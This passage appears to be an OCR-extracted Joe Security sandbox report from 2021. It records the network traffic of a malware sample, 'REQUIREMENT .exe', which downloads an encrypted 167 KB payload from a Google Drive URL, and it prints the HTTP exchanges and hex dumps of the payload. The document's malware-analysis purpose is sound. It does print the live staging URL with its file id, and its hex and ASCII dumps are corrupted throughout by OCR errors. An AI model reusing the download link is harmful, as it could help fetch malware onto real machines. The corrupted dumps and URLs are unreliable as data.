80

Destination Port
80

Destination Port
443

Destination Port

443

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe

Process

C:\Users\user\Desktop\REQUIREMENT .exe
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Session ID Source IP

9 192.168.11.20
kBytes
Timestamp transferred

HTTPS Proxied Packets

Session ID Source IP

0 192.168.11.20
kBytes

Timestamp transferred

2021-10-13 13:47:08 UTC 0

2021-10-13 13:47:09 UTC 0

2021-10-13 13:47:09 UTC 1

2021-10-13 13:47:09 UTC 1

Session ID Source IP

1 192.168.11.20
kBytes

Timestamp transferred

2021-10-13 13:47:09 UTC 1

Copyright Joe Security LLC 2021

Source Port

49832

Direction

Source Port

49790

Direction

ouT

Source Port
49791

Direction
ouT

Destination IP Destination Port Process

172.217.168.33 443 C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe

Data

Destination IP Destination Port Process

172.217.168.46 443 C:\Users\user\Desktop\REQUIREMENT.exe

Data

GET /uc?export=download&id=1cavmvfhBkRkr58kPbP8ymMPJAEJZGE13 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com

Cache-Control: no-cache

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Wed, 13 Oct 2021 13:47:09 GMT

Location: https://doc-04-7g-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc?I7deffksulhg5h7mbp1/21I1t93ra
59sspsgplogf893q75230rnc/1634132775000/18281895610876391208/*/1cavmvthBkRkr58kPbP8YymMPJIAEJZGE13?e=do
wnload

P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."

Content-Security-Policy: script-src ‘nonce-ZdOnUPdgBPohAFIVOZtgBA' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Set-Cookie: NID=511=erCQGVR30AbnlI5pNFpHSCGAYJ62W5dN4HmM7_6YgJIXNAuvU7WRafMRXMCMPUdUZRh5Qtd
jggd8vMSDtMgwA8YkuahRtOx0V301S2YDycscUArSU4sks1bjEIITSreHgGwIrYdsWnbS3-plvVy97QEUZ2IECEpIGB
brpSmmZ_Evs; expires=Thu, 14-Apr-2022 13:47:08 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=non
®

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 38 34 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70
6f 72 61 72 69 6¢ 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e Oa 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f
72617269 6¢ 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 34 2d 37 67 2d 64 6f 63 73 2e 67 6f 6f 67 6¢ 65 75 73 65 72 63 6f 6e 74
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6¢ 37 64 65 66
66 6b 73 75 6¢ 68 67 35 68 37 6d 62 70 31 2f 32 31 6¢ 74

Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-04-7g-docs.goog
leusercontent.com/docs/securesc/ha0ro937gcuc7I7deffksulhgsh7mbp1/21lt

Data Raw: 30 0d Oa Od Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.185.161 443 C:\Users\user\Desktop\REQUIREMENT .exe

Data

GET /docs/securesc/haOro937gcuc?|7deffksulng5h7mbp1/211t93ra59sspsgplogf8939q75230rnc/1634132775000/1
8281895610876391208/*/1cavmvfhBkRkr58kPbP8ymMPJAEJZGE13?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-04-7g-docs.googleusercontent.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-10-13 13:47:09 UTC 2

2021-10-13 13:47:09 UTC 5

2021-10-13 13:47:09 UTC 9

2021-10-13 13:47:09 UTC 13

2021-10-13 13:47:09 UTC 16

2021-10-13 13:47:09 UTC 18

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycdsZtal.cJ8hGo8gcwSDJ-xExkMap9NyhKY9cMIbdLOfb4qve8azeKEXZHABEJSby
B4dHVdhQ-X2CqlilyYT9n97-T4B5pw

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token,
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, I-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-
GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthU
ser, Xx-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-Pageld, X-Goog-En
code-Response-If-Executable, X-Goog-Correlation-ld, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experim
ents, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-
Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-
Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-C
ontent-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset,
X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-ld, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-
Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer,
X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-
Code-Override, X-los-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL,
X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-
Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-
Meeting-ldentifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-
sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-E
ngine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-C
onsole-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-
namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout
Access-Control-Allow-Methods: GET,OPTIONS

Content-Type: application/octet-stream

Content-Disposition: attachment;filename="oodf_BKGjFIg78.bin";filename*=UTF-8"oodf_BKGjFlg78.bin

Content-Length: 167488

Date: Wed, 13 Oct 2021 13:47:09 GMT

Expires: Wed, 13 Oct 2021 13:47:09 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=vfJ+GA==

Server: UploadServer

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 65 52 7e ¢8 bd a3 Oc da 73 13 7c 05 bd d9 28 7e 01 64 b8 3b d0 7f cf 51 dc 99 26 b0 eb ac cf 92 82 64 85 80
cd 09 5e 97 32 4d b0 fe 61 76 2c 1c a4 43 39 fd ca da b2 10 64 8a d1 Ob e2 e5 22 41 1e 9e ae aa d8 33 a2 91 7e 77 df eb
ce 32 3f 1b 1c 86 1b 1d da b0 73 bb 59 6e fa b4 9e 1e 44 82 fO bf 66 2d 31 ac 52 5¢ 11 ¢5 ed a0 44 29 ce cf 6d fb 36 fe 18
a0 75 ad 72 cc b9 38 89 d5 64 24 21 bb 57 af fa 24 b9 06 26 c9 54 ef 89 9d b7 c7 de ac 3e 80 fc 08 54 57 6f 1d 8d 38 07
23 74 46 df 44 6e 91 c0 33 65 b3 44 e2 46 67 02 b0 f2 c3 cf 73 Ob 2f d5 83 56 1a f6 d7 f4 b3 4a 27 71 al 74 94 84 €8 93
3c 19 40 3a 2d f9 f6 27 ¢7 2e 7c 02 99 fc 00 74 3b 28 37 cd 38 37 89 ab d1 29 78 ef 25 ce b4 8e d0 93 db c6 82 Oe 22 88
ec 54 77 4e be e0 bc a6 2d c1 c9 2a 8c 0d Oe 87 f7 3d

Data Ascii: eR~s|(~d;Q&d"2Mav,C9d"A3~w2?sYnDf-1R\D)m6ur8d$!W$& T>TWo8#tFDn3eDFgs/VJI'qt<@:-'.|t;(787)x
%"TWN-*=

Data Raw: c7 5f af fe 16 5f d2 f1 a9 7b 85 d2 ab 36 1f fc 8a 9e 41 d8 07 7c de ¢7 c0 91 53 d7 Of 78 27 d3 56 8 30 5a da
a9 bl 42 2e 02 52 bf 4d 4e 18 3e 28 7b 56 €8 19 ee d7 68 da 79 dc 56 90 53 b5 06 73 25 38 a5 b4 99 6 09 ef 5b e3 05 c4
86 96 26 2d 76 37 2d b6 3 32 e0 68 ed 3e b9 52 40 92 33 80 54 f8 c7 04 f6 6a el 82 13 18 10 40 Oe 19 8b f3 48 91 e4 1c
25 ba el 438083 71 6ad7 cO bf 35 15 7e 8a 70 e4 3c 91 cc 96 16 32 0f 51 f4 28 ba 9c d5 9f f4 69 2f 47 12 fa 7b 6a ef of
3f dc dd 42 83 fb 6f bl 8d b3 2¢ 15 ad ee b2 03 33 72 6f b7 85 Ob 3e 57 17 92 90 06 19 54 24 41 dd 5d 43 54 12 7c 7f c8
1d b7 a7 caed 76 c3 09 5f a7 €3 85 d5 b6 d5 35 ac a2 ¢8 14 e2 85 51 cd 10 11 63 Oe 5b f2 5¢ 66 43 f1 d9 25 87 23 4b c4
2811 7fab la 1d 17 bl ac 3e 9b 2b 66 27 b2 43 72

Data Ascii: __{6A|Sx'VOZB.RMN>({VhyVSs%8[&-v7-2h>R@3Tj@H%Cqj5~p<2Q(i/G{j?Bo,3ro>WTS$A]CT|v_5Qc[\fC%#K
(>+f'Cr

Data Raw: 53 6d a5 9b c1 22 c6 c5 04 18 ae 8f e2 79 b7 56 4e al €9 b2 2e 7c Oc 80 32 12 f2 b8 d4 e5 32 86 9b a2 64 ec
52 3b 44 1d 0f bO f5 44 be f5 93 2c ¢8 30 13 cf ef af f4 74 f7 b3 53 08 7a 3a c1 4d a8 d6 10 86 5a 6b 05 4c 74 1b 10 04 86
8a 86 3¢ 85 5d 7 4e 96 5a e ff 4e 97 f9 4e 71 fa 82 6e 88 98 94 7 98 69 96 cc 46 d8 b6 86 d7 c5 €0 74 49 ca 31 1d 8e
d2 e1 4d 46 77 c8 15 31 02 b4 18 db 7d 41 db 4 3e 53 80 fb 77 5a 15 70 24 8e 4f 55 47 c1 85 17 e6 4b cb c6 1f {8 48 94 91
b2 9b b2 88 28 74 €3 20 42 bf ae 0d 5 1b d8 49 90 c9 15 ba b4 05 af 88 ec b0 61 6a dc a0 2e fc 18 4b ad {7 46 16 fd {7
d4 19 48 48 a7 8e e4 99 1a 6b 2c ab 7f ff 9e d5 al 8e bb 4b d2 22 ff d1 da 16 Oc 56 84 el 07 7e 87 d8 79 42 63 be 27 d5
32 90 5b 07 14 9f 2a f0 87 c7 7a ff al {7 df Oa 54

Data Ascii: Sm"yVN.|22dR;DD,0tSz:MZKLt<]NZNNgniFtl IMFw1}A>SwZp$OUGKH(t Blaj.KFHHK,K"V~yBc'2[*zT

Data Raw: 30 15 d6 7b 66 ff 48 20 el 9c fe 2f 63 e2 8b 24 52 a4 99 b0 f7 90 71 a3 89 ac 1f be ef 83 71 cd 7f 80 c3 a3 5e
1c 5d bb e2 d7 7f 49 de 70 2d 28 Ob 23 92 8c 71 66 8¢ 96 44 Oc 55 b7 f4 db 09 ed 2d d6 el 3f 80 c3 c4 5b 03 8f 84 50 86
80 10 1a 4b 84 97 11 fd 40 32 40 fd 2c 9a c9 4d 54 11 9f 92 b5 4e 21 3a 30 4c 79 65 c4 59 d2 3e 08 d5 74 Oe c9 4e 8a c3
a3 b6 e9 be e3 78 8e 19 el 58 bc b8 d2 e6 5e 7a c¢9 47 5d b7 61 3e c4 2f 41 cd 14 9a 38 86 74 63 2f 59 62 9b c1 8b 5 3¢
6e e5 85 a0 33 f7 37 dd fb 4e a6 ed 7e a8 44 bd 6d f3 40 f1 27 42 44 f9 18 ba 8e f6 db fe b4 7a 08 31 e8 6d b5 50 3f 54 41
6¢ 8b 98 a0 93 93 4b 3a df 79 fa c6 86 6f 19 65 7f ea 76 83 78 59 d7 fb 98 81 29 04 03 fd 8f 22 b5 32 64 eb 6e ce 17 35 a4
54 5¢ fc 2a 48 2a 6e d0 91 70 d9 9f 51 a2 bf 65

Data Ascii: 0ffH /c$Rqq”]Ip-(#qfDU-?[PK@2@,MTN!:0LyeY>tNxX"zG]a>/A8tc/Yb<n37N~Dm@'BDz1mP?TAIK:yoevxY
)"2dn5T\*H*npQe

Data Raw: 15 84 78 41 90 9a 02 f6 47 26 04 7a d5 b6 d5 06 fO 1a cc 9f 9f 79 62 94 08 dO 9c 06 d2 af a8 ed 1e 01 18 de 97
a2 ac 3b 28 11 7f 2e 66 a5 13 30 4f c1 9b 2b 66 ac ee db 76 5b a8 7 d8 64 2f 60 62 40 Oa 44 2c 98 ba b7 2c 18 b4 d0 d9
63 ff fb c7 d1 dc d8 99 13 39 cb 2b 23 72 81 2f 5¢ 03 f4 c5 6f 9c 5f 7b b0 2e a0 8d 79 06 89 e6 8f 43 ae 71 Ob Ob 8d b7 69
a9 49 ae 52 5c¢ fa ¢3 60 3b 44 29 ce cf €6 86 c2 3f e7 a8 f4 4a 8d cc b9 38 ba a9 dc 20 ee 6b fd 2a 24 51 4b db 86 92 aa
a3 44 bc 68 3 2f db df 3b 86 54 c8 ae 53 88 2c b8 99 4d 1a 29 20 38 94 f0 21 82 18 ee 9f 00 f2 86 bd e7 20 00 5d 1c 6f 4a
c8f2 c3 14 59 8a 00 80 73 e6 8a b1 80 8f 4b 78 d7 c3 89 f7 Ob ab 4f 41 1e c0 7f bf 5¢ bb 02 89 ce 2c f8 9c 10 a2 f8 c1 la
8a e0 34 Oc 74 Oa cf 4d 5¢ 18 12 77 14 6d 4a

Data Ascii: xAG&zyb;(.f0O+fv[d/'b@D,,c9+#r/\o_{.yCqilR\’;D)?J8 k*$QKDh/;TS,M) 8! JoJYsKxOA\4tM\wmJ
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:47:09 UTC 19 IN Data Raw: f7 80 a6 a4 33 af d1 82 73 7a 5c c8 f2 0d e5 e0 f3 46 97 e5 b6 52 27 9d 1b b5 69 14 69 36 ac 82 d2 00 53 5d
37 ¢c8 82 0c fb Of 46 c9 1le cf 68 a3 38 fb 78 28 4f bb 83 02 fe Ob 83 ff 70 dd b1 dd 6a b8 1f 09 d3 58 b5 62 85 f4 07 11 4c
b3 f9 75 63 53 85 a7 9a 84 6d c2 c6 37 1f 7f 4e 9a c4 18 73 76 b8 44 fc d7 Of a3 Oc 30 52 25 1e 9c 3b 3c 59 95 7 1le 5a 06
15 7 38 bb 9d fe 5¢c 62 d3 17 6d fb 5a 64 €5 28 51 02 d6 51 3e 43 7b 77 68 4d 53 f0 f7 09 6¢ 9f ef 5a 9a db 55 73 a6 9a b4
c186dlf2hb6e398323117 ac 1a 76 7c dc bd 33 6e f4 e7 a4 7a 43 4e d7 05 e6 21 8b f3 48 56 al e4 14 8a el 43 47 c6
a9 58 e7 f1 8d 53 d2 3b 56 70 e4 fb d4 1c a4 26 03 39 37 33 6d 6e 9c d5 58 b1 99 18 47 12 fa bc 2f Of ad Of ec e5 24 44
be 8b bl 8d 5b ef 65 ac ee 31 c7 3f {7 af c3 8f
Data Ascii: 3sz\FR'ii6S]7Fh8x(OpjXbLucSm7NsvDOR%;<YZ8\bmZd(QQ>C{whMSIZUs21v|3nzCN!HVCGXS;V
p&973mnXG/$D[el?

2021-10-13 13:47:09 UTC 20 IN Data Raw: f5 76 c9 el 59 77 53 8a 01 10 6d da 18 5f 3a be 0d 69 19 ec 08 66 b5 2d c1 4a be c5 52 50 90 7d d9 01 8a 6b
54 5b 66 63 d1 24 86 7a f9 7b 40 79 ff 86 a3 45 55 23 bb 43 3c 4b fe 25 a2 f6 47 8¢ 81 9e 7b 4d 75 5f 1d 59 cb 88 2e 9f 6a
8f d1 e7 05 ff 88 c7 36 88 1a 76 86 d7 90 d7 d1 fO 7a d4 ee 50 30 73 ec aa ba 35 d2 4a 46 76 6f 97 48 54 08 36 55 Oe ba
b8 fc 80 8c e5 2b 89 44 fh 50 bd 77 3c 6 fa 49 a9 fb 76 a0 b7 a0 31 38 68 1b 04 48 67 82 cc bd 91 9a 09 d1 0d b9 fd f1 4c
1509 9b 99 b1 91 04 16 eb 99 75 6a 30 82 15 7b fc f6 18 63 0a 6¢ 61 04 be 3f 8 fa 2d 09 8b 83 e6 3a 61 €8 fd 15 44 c3
8d 4b 8c 5c 3f 84 14 11 03 ef fb 2a Oe 2e 7c cc 9a e9 44 7f 85 61 1b 91 Of 4d Oa Oc 68 Oa 94 fa 80 5e de Of 2d eb 5¢ ce 00
c4 ad f8 7c 5d e3 9f ba a4 8a 70 3d c6 6e 75 al
Data Ascii: vYwSm_:if-JRP}KT[fc$z{@yEU#C<K%G{Mu_Y.j6vzP0s5JFvoHT6U+DPw<Iv18hHgLujo{cla?-:aDK\?*.|DaMh"-
\Jp=nu

2021-10-13 13:47:09 UTC 22 IN Data Raw: 2d e5 aa 2e 17 ad 63 37 73 c6 8d 90 e7 08 46 a6 06 41 7a 04 75 19 54 a7 85 fd d8 83 20 7a f1 2a 24 4f 3c f2
52 85 76 c2 09 5f 2a 66 f5 2e 49 2a 65 c6 a3 45 59 7e d4 03 9b 8 fc 21 Of 5b 71 98 7a c6 31 ac 64 Oc a6 33 3f d7 ee f2 29
1f 6d ec 4e 53 6f c8 c3 a4 45 b3 43 ff Oe 5f 43 9d af 27 d0 5d cf 05 40 2f 1d 44 b7 a7 9d 47 77 be 98 b3 b4 ca 92 dc ac 3b
ba 75 a5 4b 5f 6e 81 7d b4 6b al b8 f7 1b 18 aa 1d 98 al 8c 0f 84 21 3a 1a 93 8a 71 bb 01 34 b7 e5 53 2d ac db da 95 ce
ed a0 2e 29 ba c9 e0 b6 c6 af f3 a4 8 f8 8a e ea d0 a6 b6 65 24 ac 60 el cb fe f8 b0 fb 07 71 3d a3 00 a3 e3 c5 b7 89 f6
10 d0 66 33 4f 0a 18 ad 6b 66 4d 72 29 ef 7b Oc 9e e0 17 99 5b 58 80 28 47 ae 39 ff e2 a2 9f ab 62 78 30 67 1b d2 d7 f4
3acc 67 7aal 09 fd 3f 95 ab 3b 48 8d ¢3 25 2¢
Data Ascii: -.c7sFAzuT z*$O<Rv_*f.I*eEY~![qz1d3?)mNSoEC_C'|@/DGw;uK_n}k!:q4S-.)e$ q=Ff30OkfMr){[X(G9bx
09:92?;H%,

2021-10-13 13:47:09 UTC 23 IN Data Raw: ab 16 5d b3 9a 38 f3 6f 34 9c 1e b1 8d ed ed 81 53 a6 4a 5e 34 52 25 76 76 cf 46 Ob 63 de cb Of 3c eb 86 be
08 ea bd e7 9e 25 92 a8 16 b7 05 df 04 e4 bf a0 32 1c fd 8e f6 79 45 34 d7 ff e7 5f 99 c9 56 c5 9e e4 3b 1c 79 4f 69 89 11
37 d8 1c 19 07 53 df 79 29 32 6¢ a2 55 1c d1 ce dd 79 33 19 31 0d 60 1c c7 a5 3b db 96 98 61 79 3b 5c af fe 61 60 82 7¢
3c db 7e 2d 54 61 4d 14 38 c4 40 d8 84 b8 d2 4a 95 71 de 52 af 83 d8 2c ef fc 34 5a da fb 38 1f ce ¢5 17 5b 4e 4e 18 3e
al 3e be 61 44 02 bl el 97 89 55 Ob 62 da e8 f0 fa 78 c2 5a 62 c7 a9 52 64 be be c6 01 57 31 8f eb 84 23 01 ac 78 67 6b
84 6e d2 91 04 cb e7 3b Ob d2 58 cc 04 f6 3d d2 7d 7b ef 4e 54 c2 4e dc a3 c5 df f8 4d ac ¢7 11 ca fd 77 99 9c 20 cO bf b6
d1 6a 03 35 18 07 56 b9 9e 49 01 cf Of 7 cd e7 5f
Data Ascii: ]804SJMR%vvFc<%2yE4_V;yOi7Sy)2lUy31 ;ay;\a’|<~-TaM8@JqR,4Z8[NN>>aDUbxZbRdW1#xgkn;X=NT
NMw j5VI_

2021-10-13 13:47:09 UTC 24 IN Data Raw: €0 34 55 71 f2 de f3 cc b2 1d fO ¢4 aa 00 17 1e cO 7e 34 20 03 c1 ¢8 15 1c 79 7f ed a2 f8 c1 fb d2 f5 b5 55 41 fd
03 €6 81 2a 4e c7 eb 6d 20 b1 66 48 c3 1f 33 75 24 58 d2 3e 9b 92 f2 57 0f ch 9¢ 34 36 4c 00 7f 2e 13 49 53 d7 a2 ae 6d
a3 7196 73 1le de 7e a2 f7 93 e3 e0 b2 02 57 ¢9 38 92 7a 28 36 a9 61 da 03 f5 06 2d 4d 22 aa 34 59 1f f2 08 b1 86 a6 f1
78 60 fd 92 d5 36 5d 84 92 2c €9 bd 35 43 53 €6 aa 39 a6 88 fd 24 c2 e4 72 7f 97 51 €3 59 d3 d4 3d d7 16 bc 84 c4 e8 34
8e 92 9e df d1 47 2c 06 7d 2f e0 82 26 58 e2 c7 d5 90 55 a0 22 5c 4b a9 32 5e 01 0d ab 03 8d f4 cf ed 56 65 03 8a 95 ca
4b d6 12 56 bd 1f 7e 4d 60 fa fd a0 bd f5 93 63 94 b3 91 24 61 2f 09 02 8e 58 11 41 e8 15 a7 27 55 29 6¢ 48 4c e8 c9 ff ba
f9ad 76 2c 7a c8 18 9f 72 fd 97 6a a5 52 db 42
Data Ascii: 4Ug~4 yUA*Nm fH3u$X>WA46L.ISmgs~W8z(6a-M"4Yx 6],5CS9$rQY=4G,}/&XU"\K2"VeKV~M c$a/XA'U)HL
V,zrRB

2021-10-13 13:47:09 UTC 25 IN Data Raw: 46 b5 b1 c4 0a c4 d1 77 03 0d f4 28 ba 5b 90 23 da 69 4a 47 d5 bf bb 12 ef fa 3f ba 54 0f 47 13 30 e0 8¢ b3 1f
dc c7 d8 e3 8e 66 f4 3d 70 00 77 c1 a8 e8 bc 90 62 19 93 61 c1 bl 5d 2f 54 74 f5 32 4c 5 8b f6 cb ed fb 87 32 a0 24 27 b9
55 8e e4 40 c4 64 c8 14 5b 84 51 cd 10 91 5b 20 2f b5 1d 2e c0 08 d7 57 73 75 21 cc a5 54 ¢3 f5 97 90 6b 4e 53 c1 ca c3
ff 74 b3 43 f1 5e 6b 6e 5¢ 53 a2 93 ed b3 ef a9 ad 7b 45 3a 58 07 c0 01 da 67 3e 38 cf 68 29 d7 0d 9f b9 b0 ca 98 e5 42 6f
12 80 3f f9 85 76 37 ef bb e4 54 75 ef 2b fc 20 4e 1a 97 b3 13 83 f0 3c a2 25 da 00 df c9 61 3a 12 5f 17 7b 26 a4 20 fa 36
7d dc a8 f0 6d 07 54 e6 80 35 d5 64 24 74 2f 08 fc 39 1d 8 34 8¢ 86 7e 5a 15 bf 18 22 22 6f e3 0f 71 4c ¢3 72 5¢ b6 a9 45
66 a5 16 79 aa 64 8f 30 ec ca ee 56 11 83
Data Ascii: Fw([#JG?TGOf=pwba]/Tt2L2$'U@d[Q[ /.Wsu! TKNStC kn\S{E:Xg>8h)Bo?v7Tu+ N<%a:_{& 6}mT5d$t/9
4~Z""oqLn\EfydOV

2021-10-13 13:47:09 UTC 27 IN Data Raw: 76 f4 8e 59 e7 32 cb 04 4b 7c 4d 5d 4b 13 cb cc 1c 9¢ 91 80 6e 25 93 be 4a f7 51 ec db 7f Of 16 65 81 7e a6 4c
333a30el 71 3d 1d 09 ef fb 4c 69 47 7b 17 55 b9 1f 06 d8 79 1b 6e Ob 21 b9 48 bc 49 97 14 bb 40 29 70 20 82 f8 f4 50
48 b7 05 b4 ab f6 07 f2 f4 27 56 27 el 8d 55 bf 9¢ 75 17 5f 99 €9 07 36 67 cd bf b2 f7 c2 01 ff 63 6a 72 Ob 30 7b 92 8¢ 42
4f 36 be d2 fc 6e ab 4e 74 dd cd 49 8e 21 93 40 c6 28 b5 73 ee a3 8e 15 91 b7 a8 Oe e9 a0 84 19 68 8a 7a 2d 28 f2 3b cf
4a c0 ca 3d 5a bf 3d 03 ¢5 19 08 eb 32 2d ac 3f 01 63 4d 52 51 2e 69 45 2e 02 d7 7f 39 38 4e b3 98 7b 76 8 19 65 50 04
d1 79 dc db d8 52 3c 89 1f 2e 38 a5 37 61 e6 7f c2 d8 9d 55 c4 f2 b1 70 7a 9e e0 2a b6 e3 bl 24 60 6e 80 11 db 40 92 33
4 40 ae 90 ¢3 70 c2 68 82 13 18 10 40 Oe f1 51 f1
Data Ascii: vY2K|M]Kn%JQe~L3:0g=LiG{Uyn!HI@)p PH'V'Uu_6gcjrO{BOBNNtI!@ (shz-(;J=Z=2-?cMRQ.iE.98N{vePy
R<.87aUpz*$ n@3@ph@Q

2021-10-13 13:47:09 UTC 28 IN Data Raw: 65 8d 4a a4 3e 9c f1 Ob 1f 16 42 35 d7 c2 29 47 cb 7b e4 1b 5f €3 90 c9 3f 8a Ob f8 61 91 f5 b3 c1 b4 75 ac 09
f2 38 37 a6 51 48 85 8e d2 55 41 el 91 80 e6 4a 03 6¢ 52 80 fa 95 f5 ef a2 ae 92 79 €8 98 30 cd 3c c6 ec 41 0f d9 53 cb
1c b5 14 ea 60 e0 62 8d ec 2c ad 3e 82 96 03 e4 84 a3 62 cb 7f 2¢ 09 c2 04 2c 85 Of 4d 5¢ 61 34 a6 dc 9b a2 a5 fe 8b 20
81 5d f1 74 c8 b6 b0 02 da de ¢3 Oe 89 d7 c9 2a aa 5a 50 1e 59 48 cf 9c 3c 38 d4 5a 02 57 b8 ff 3¢ 0f 87 1c 12 72 25 6f 5¢
84 7 a8 64 be b8 fd fc 52 a6 34 f1 de 15 17 a9 3e 70 15 97 b0 8b 02 06 e0 41 b6 39 53 84 cb 3b 75 74 7a 39 74 1d 78 c7
c4 47 aa 20 a7 bl 50 d7 4e 20 3c 52 2e ee 8c a6 54 4e 65 el 27 b3 ba 89 79 50 41 84 ee e6 84 be 98 56 db 99 10 6d 25
3 b2 97 8a 8f ¢7 10 58 84 eb 87 3b 07 85 ef c3 f4 74
Data Ascii: eJ>B5)G{_?au87QHUAJIRY0<AS b,>b,,M\a4 [t*ZPYH<8ZW<r%o\dR4>pA9S;utz9txG PN <R.TNe'yPAVmM%X;t

2021-10-13 13:47:09 UTC 29 IN Data Raw: 4e 59 5a e3 bc 36 9a 45 a8 26 87 8c eb Oe b7 6e Oc 3a 67 bb el c8 f5 8b fc 27 1b 91 32 60 b1 2c e2 71 e0 3¢
9141 d3 1a 62 59 b9 a8 08 bb 9c 56 5b d4 ec ef 48 9a 02 7b 6a ef 14 b9 7c d6 42 83 ac 07 46 d3 a7 e0 46 fe be 3f 7d 2f
